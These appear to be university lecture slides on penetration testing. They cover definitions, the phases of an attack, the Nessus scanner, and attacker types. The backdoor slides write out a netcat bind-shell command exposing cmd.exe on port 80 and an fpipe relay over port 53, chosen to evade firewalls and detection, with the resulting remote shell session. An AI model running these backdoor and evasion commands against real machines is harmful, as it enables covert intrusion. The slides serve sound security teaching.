Definition, Concepts on Penetration Testing/Hacking


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Definition, Concepts on Penetration Testing/Hacking

  • Definition, Concepts on Penetration Testing/Hacking

  • Anatomy of a Hack

  • Framework for penetration studies

  • Skills and Requirements of a Penetration Tester

  • SAN list of Security Holes

  • Internet Penetration

  • Dial up Penetration

  • Internal Penetration

  • References:

    • CORE IMPACT - Penetration Testing: Assessing Your Overall Security Before Attackers Do
    • Pages 165,277 Security in Computing.
    • Hack I.T, Security Through Penetration Testing, by T.J. Klevinksy, Scott Laliberte, Ajay Gupta.
    • http://www.hackingexposed.com/win2k/links.html


Vulnerability (Security Flaw): specific failure of the system to guard against unauthorized access or actions. It can be procedures, technology (SW or HW), or management.

  • Vulnerability (Security Flaw): specific failure of the system to guard against unauthorized access or actions. It can be procedures, technology (SW or HW), or management.

  • Using the failure of the system to violate the site security policy is called exploiting the vulnerability

  • Penetration Study is a test for evaluating the strengths of all security controls on the computer system. It intends to find all possible security holes and provides suggestions for fixing them.

  • Penetration Testing is an authorized attempt to violate specific constraints stated in the form of a security or integrity policy.

  • Penetration Testing is a testing technique for discovering, understanding, and documenting all the security holes that can be found in a system.

  • It is not a proof techniques. It can never prove the absence of security flaws. It can only prove their presence.

  • Example goals of penetration studies are gaining of read or write access to specific objects, files, or accounts; gaining of specific privileges; and disruption or denial of the availability of objects.

  • What is the difference between penetration testing and hacking/intrusion?



A more thorough penetration study is to find the proper interpretation of vulnerabilities found, draw conclusion on the care taken in the design and implementation.

  • A more thorough penetration study is to find the proper interpretation of vulnerabilities found, draw conclusion on the care taken in the design and implementation.

  • A simple list of vulnerabilities , although helpful in closing those specific holes, contribute far less to the security of a system.

  • In practice, constrains (resource, money, time) affect the penetration study



An excellent description inside of the back cover page of “Hacking Exposed” text by McClure et al.

  • An excellent description inside of the back cover page of “Hacking Exposed” text by McClure et al.



Information gathering. Sam Spade is window-based network query tool.

  • Information gathering. Sam Spade is window-based network query tool.

  • Find out target IP address/phone number range

    • Why check phone numbers?
  • Namespace acquisition. Network Topology (visualRoute).

  • It is essential to a “surgical” attack.

  • The key here is not to miss any details.

  • Note that for penetration tester, this step is to avoiding testing others instead of your client and to include all systems to be tested (sometime the organization will not tell you what their systems consist of).

  • Defense: deploy NIDS (snort), RotoRouter



Bulk Target assessment

  • Bulk Target assessment

  • Which machine is up and what ports (services) are open

  • Focus on most promising avenues of entry.

  • To avoid being detect, these tools can reduce frequency of packet sending and randomize the ports or IP addresses to be scanned in the sequence.

  • Note that some machine does not respond to ping but responds to requests to ports that actually open. Ardor is an example.



Identify valid user accounts or poorly protected resource shares.

  • Identify valid user accounts or poorly protected resource shares.

  • Most intrusive probing than scanning step.



Based on the information gathered so far, make an informed attempted to access the target.

  • Based on the information gathered so far, make an informed attempted to access the target.



If only user-level access was obtained in the last step, seek to gain complete control of the system.

  • If only user-level access was obtained in the last step, seek to gain complete control of the system.



Webster's Revised Unabridged Dictionary (1913)

  • Webster's Revised Unabridged Dictionary (1913)

    • Pilfer \Pil"fer\, v. i. [imp. & p. p. Pilfered; p. pr. & vb. n. Pilfering.] [OF. pelfrer. See Pelf.] To steal in small quantities, or articles of small value; to practice petty theft.
  • Gather info on identify mechanisms to allow access of trusted systems.



Once total ownership of the target is secured, hiding this fact from system administrators become paramount, less they quickly end the romp.

  • Once total ownership of the target is secured, hiding this fact from system administrators become paramount, less they quickly end the romp.



Trap doors will be laid in various parts of the system to ensure that privilege access is easily regained whenever the intruder decides.

  • Trap doors will be laid in various parts of the system to ensure that privilege access is easily regained whenever the intruder decides.



If atacker is unsuccessful in gaining access, they may use readily available exploit code to disable a target as a last resort.

  • If atacker is unsuccessful in gaining access, they may use readily available exploit code to disable a target as a last resort.



Originally designed by Renaud Deraison

  • Originally designed by Renaud Deraison

  • Available at www.nessus.org

  • Main scanning engine running on Unix server with client GUI running on Unix or Windows.

  • Pretty good control and reporting.

  • Include a script language for plug-in (detecting additional attacks).

  • http://www.nessus.org/pres/bh2001/index.html















Once obtain the admin privilege, you install tools that allow you to run command remotely (e.g. netcat) or use the machine as a stepping stone for relaying or redirecting the msg (fpipe)

  • Once obtain the admin privilege, you install tools that allow you to run command remotely (e.g. netcat) or use the machine as a stepping stone for relaying or redirecting the msg (fpipe)

  • Port redirection accepts packet from one port and send it over another port. It can be used to avoid packet filter firewall.

  • We will use netcat and fpipe to illustrate the concept.

  • Netcat is available at http://www.atstake.com/research/tools/network_utilities/

  • Fpipe is available at http://www.foundstone.com



C:\work\cucs\cs522\project>c:\work\software\security\nc\nc -v -L -e cmd.exe -p 80 -s 128.198.177.63

  • C:\work\cucs\cs522\project>c:\work\software\security\nc\nc -v -L -e cmd.exe -p 80 -s 128.198.177.63

  • Hacker runs the nc command on the victim machine, which listens to the command sent in from port 80, use cmd.exe to run the command and redirect the console output as http response back.

  • listening on [128.198.177.63] 80 ...

  • connect to [128.198.177.63] from VIVIAN.eas.uccs.edu listening on [128.198.177.63] 80 ...

  • connect to [128.198.177.63] from VIVIAN.eas.uccs.edu

  • Here we bind in front of port 80. You can also use port 139. The idea is used known port to avoid detection.

  • -L is used to repeat previous command after connection is terminated.

  • The nc command will receive command from packet to port 80, and run it with cmd.exe and send back execution result.



C:\work\software\security\fpipe>fpipe -l 53 -s 53 -r 80 128.198.177.63 FPipe v2.1 - TCP/UDP port redirector.

  • C:\work\software\security\fpipe>fpipe -l 53 -s 53 -r 80 128.198.177.63 FPipe v2.1 - TCP/UDP port redirector.

  • This is run the infected machine which serves as relay. Use port 53 for listen to Internet connection, relay any msg from port 53 to machine with 128.198.177.63 and port 80.

  • Copyright 2000 (c) by Foundstone, Inc.

  • http://www.foundstone.com

  • Pipe connected:

  • In: 128.198.162.60:58797 --> 128.198.168.63:53

  • Out: 128.198.168.63:53 --> 128.198.177.63:80

  • Pipe connected:

  • In: 128.198.162.60:58801 --> 128.198.168.63:53

  • Out: 128.198.168.63:53 --> 128.198.177.63:80

  • Here the fpipe program listens to packet incoming from blanca to port 53, relay it over to 128.198.177.63 using port 53 (DNS) to avoid detection.



C:\work\software\security\nc>[cs691@blanca cs691]$ telnet 128.198.168.63 53

  • C:\work\software\security\nc>[cs691@blanca cs691]$ telnet 128.198.168.63 53

  • Trying 128.198.168.63...

  • Connected to vivian (128.198.168.63).

  • Escape character is '^]'.

  • Microsoft Windows XP [Version 5.1.2600]

  • (C) Copyright 1985-2001 Microsoft Corp.

  • C:\work\cucs\cs522\project>dir

  • dir

  • Volume in drive C is S3A1203D501

  • Volume Serial Number is 503B-9F00

  • Directory of C:\work\cucs\cs522\project

  • 04/29/2003 12:56 PM .

  • 04/29/2003 12:56 PM ..

  • 04/29/2003 12:50 PM 371,208 erniestInfocom2000.ps

  • Note that it is the console output of 128.198.177.63 machine being shown here.



External attacker with no knowledge of the system.

  • External attacker with no knowledge of the system.

  • External attacker with access to the system.

  • Internal attacker with access to the system.




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